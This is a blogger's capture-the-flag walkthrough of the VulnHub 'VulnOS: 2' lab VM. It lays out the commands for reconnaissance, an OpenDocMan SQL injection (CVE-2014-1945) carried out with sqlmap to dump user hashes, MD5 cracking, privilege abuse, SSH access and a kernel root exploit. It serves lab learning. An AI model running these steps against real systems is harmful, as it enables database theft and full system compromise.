Cracking VulnOS: 2
================
So trying my hand at another VulnHub VM.. after having failed miserably at Gibson, which was awesomely busted by THS bud ch3rn0byl, I was hoping for an easy 'pick-me-up' ..
Yah.. didn't happen..
The more I think I know, the more I realise I don't.. sometimes annoying, but mostly fueling the fire :D *roar!*
Getting target(s)
=============
netdiscover -i eth0 -P -r 192.168.56.0/24
And then the obligatory nmap;
nmap -T4 -A 192.168.56.104
Open up the webpage to see a link to the company's webserver;
/jabc
After a bit of browsing and learning about text fillers (grrrrr...) found a link to the 'documentation' ;
/jabcd0cs/ cunningly obscured with same colour as background..sneaky..
We are advised we can log in as guest with guest/guest
Alright, this looks promising, a document management system called OpenDocMan, logging in as guest and looking around, we see it allows uploads, sweet lets give it a shot !!
Lets try uploading a php reverse shell to see if we can get lucky!
Booo... can't upload shells
hmm.. OK, so it is limited, but it also shows that admin can edit the file list.. OK, target acquired..
I can has admin ?
=============
The version is nicely printed at the bottom of the screen, so we do a searchsploit to see if any possible vulnerabilities.
Nice and clear version info
searchsploit opendocman 1.2.7
Ooohh... Multiple..
cat /usr/share/exploitdb/platforms/php/webapps/32075.txt
Alright, an sqli vulnerability as well as an exploit to get admin access/rights on the opendocman system.
Guest does not have admin privs and I want to try to upload a reverse shell and need admin privs to do that, so decide to try to get admin privs.
no admin privs :(
I copy the form information and create an html file accordingly, edit to reflect guest's user ID, upload with my guest account, view it, click on "Run".. and check guest's credentials again..
Game on! admin privs..
But wait... still can't alter allowed filetypes.. Booo..
Putting my thinking cap back on; despite other accounts being admin, maybe the only admin user allowed access is user #1 ?
I go to update users, find webmin account and update password to 12345.
Awesome, admin privs allow guest to edit another user's password
Then see whether I can now log in as webmin with better access control.
FuckYeah... I has full admin..
Teh Failz
=======
So now when heading over to the admin panel I see I can alter the allowed filetypes, lets get php up in there and try to get a reverse shell going..
Hmm uploads fine, but it won't execute..
OK, just for shits and giggles, lets see if imagemagick is used in any way allowing an ImageTragick attach when uploading a malicious png..
Nope..image is not displayed. Bah.
OK, well since the webform worked OK, how about some java ?
I make a test html file with some simple java, upload it and view it, well that worked OK,
This test works, but failed to weaponize it :(
how about trying to make a java reverse shell ?
This is where I spent way to much time messing about, I tried to somehow weaponize the java but simply lack the skills needed for this.
I had found what was reportedly a java reverse shell, but failed miserably in trying to get this to run from within the html.
(Any pointers from teh pr0z on what I could have done greatly appreciated!)
So after a while (ok, a fu*kin long time) decided that this is probably not going to be the way in, after googling my arse off I could find no reference in leveraging uploaded files in opendocman to get shell, so it was time to move on..
What a waste of time..pfff, oh well I'm sure (or rather hopeful.. lol) I learned something..
Getting a foot in the door - SQLi
=========================
So the 1st item in the list of opendocman exploits was an SQLi vulnerability;
1) SQL Injection in OpenDocMan: CVE-2014-1945
The vulnerability exists due to insufficient validation of "add_value" HTTP GET parameter in "/ajax_udf.php" script. A remote unauthenticated attacker can execute arbitrary SQL commands in application's database.
The exploitation example below displays version of the MySQL server:
http://[host]/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,version%28%29,3,4,5,6,7,8,9
The exploit example makes use of the 'add_value=odm_user' parameter for an sql injection attack so let's see what information can be found with sqlmap;
sqlmap -u 'http://192.168.56.104/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user'
Alright, that seems to show a positive return..
Now to check out which databases we can see;
sqlmap -u 'http://192.168.56.104/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user' --dbs
Then check out the tables of the jabcd0cs database;
sqlmap -u 'http://192.168.56.104/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user' -D jabcd0cs --tables
And then check what can be found in the odm_user table ;
sqlmap -u 'http://192.168.56.104/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user' -D jabcd0cs -T odm_user --columns
ooohhhhhh.. username AND password.. that' ll do me just fine..
let's dump it !
sqlmap -u 'http://192.168.56.104/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user' -D jabcd0cs -T odm_user --dump
yay hashes..
Gaining Access
============
OK, so what are these password hashes
Cool, MD5
For MD5, there are great online crackers which are truly hard to beat..
Sure you can do it hardcore yourself, but there are so many hashes already online and cracked, that sometimes a simple google search will actually already turn up the answer.
In this case google doesn't.. so onto MD5cracker.org ..
(Thanks H4v0K for the hint on that site, I had tried others with no success!)
success!
084e0343a0486ff05530df6c705c8bb4:guestSooooo can we use these passwords to log in ?
b78aae356709f8c31118ea613980954b:webmin1980
I try to log into ssh with guest | guest ;
ssh guest@192.168.56.104
failed with password 'guest' :(
trying with webmin | webmin1980;
ssh webmin@192.168.56.104
whaaa ! I'm in !
First thing that catches my eye is the Ubuntu 14.04.04 LTS
This I have seen before and have used a local exploit on with success using one of the ofs exploits..
Anyway I have a quick browse around but find nothing of interest.
So lets spawn a terminal, find a writeable directory and try a couple of the good 'ol ofs exploits;
python -c 'import pty; pty.spawn("/bin/bash")'
I precompiled the exploit-db ofs exploits 37292 & 39166 and have them sitting in my exploitz directory along with the ofs exploits from kernel-exploits.com.
No success with the compiled exploit_db exploits, however I have learned that one should try them all !So I uploaded the trusty ofs_32 from kernel-exploits.com and gave that one a whirl..
fuckyeah
After reading the writeup by the author, (found here https://github.com/d4rc0d3x/ctfs/blob/master/writeups/vulnhub/VulnOSv2/README.md)
I noted that he did use the 37292.c exploit by compiling it on the actual victim.. n00b as I am I thought that using precompiled would be easier.. now I know that its also possible (better?) to compile on victim..
But as a trusty THS member asked me the other day; has the pre-compiled exploit from kernel-exploits.com failed where the exploit-db ones have succeeded.. Not sure but think not..
Still, valuable lesson learned.
TIFU
=====
Now.. this is where it gets embarassing... In the past couple of VMs I have done where root was the goal, flags were often found in the /root directory.. so I have no idea why I first decided it would be a good idea to check the /home/vulnosadmin directory.. but I did..
and found the file r00t.blend
My first reaction was; this is it, this is an extra step to the flag,..
But what is r00t.blend..
file r00t.blend
it's a Blender3d file
OK, wtf is that..
> Googled
> Downloaded blender
> opened the file
dafuq..
> got a tantalising glimpse of what appeared to be a sequence of letters when slightly moving the cube
> spent 15 minutes watching youtube videos on how the hell this proggy is supposed to work when using a touchpad..
> With some keyboard mashing and some vague touchpad movements was able to get this beauty..
Uhh, OK..
Doesnt read much like a flag.. is it a password for another file ?
Time to check around the other directories for files of interest which may be password protected?!
ls -la root/
uhh.. flag.txt ?? God dammit TAPE .. lol :D
double facepalm
I just wasted more time on either a random lost file, or a cunningly placed red herring :)
cat root/flag.txt
Job Done :)
So.. lessons learned;
================
1. If an exploit says something is vulnerable to SQLi, see whether you can dump databases before going batshit crazy on other hypothetical entry points..
2. Carefully check your SQLi / sqlmap syntax.. missing quotes, slightly-off parameters will ruin your day..
3. By all means note interesting files for future reference, but check other directories for interesting files as well before going all out on checking a single file when possibly others are out there.. lol..
4. I dig Anime chicks :D
kusanagi.jpg from the OpenDocMan file manager
Big thanks to c4b3rw0lf for the time invested in creating this fun challenge and big Up to VulnHub.com for hosting these challenges.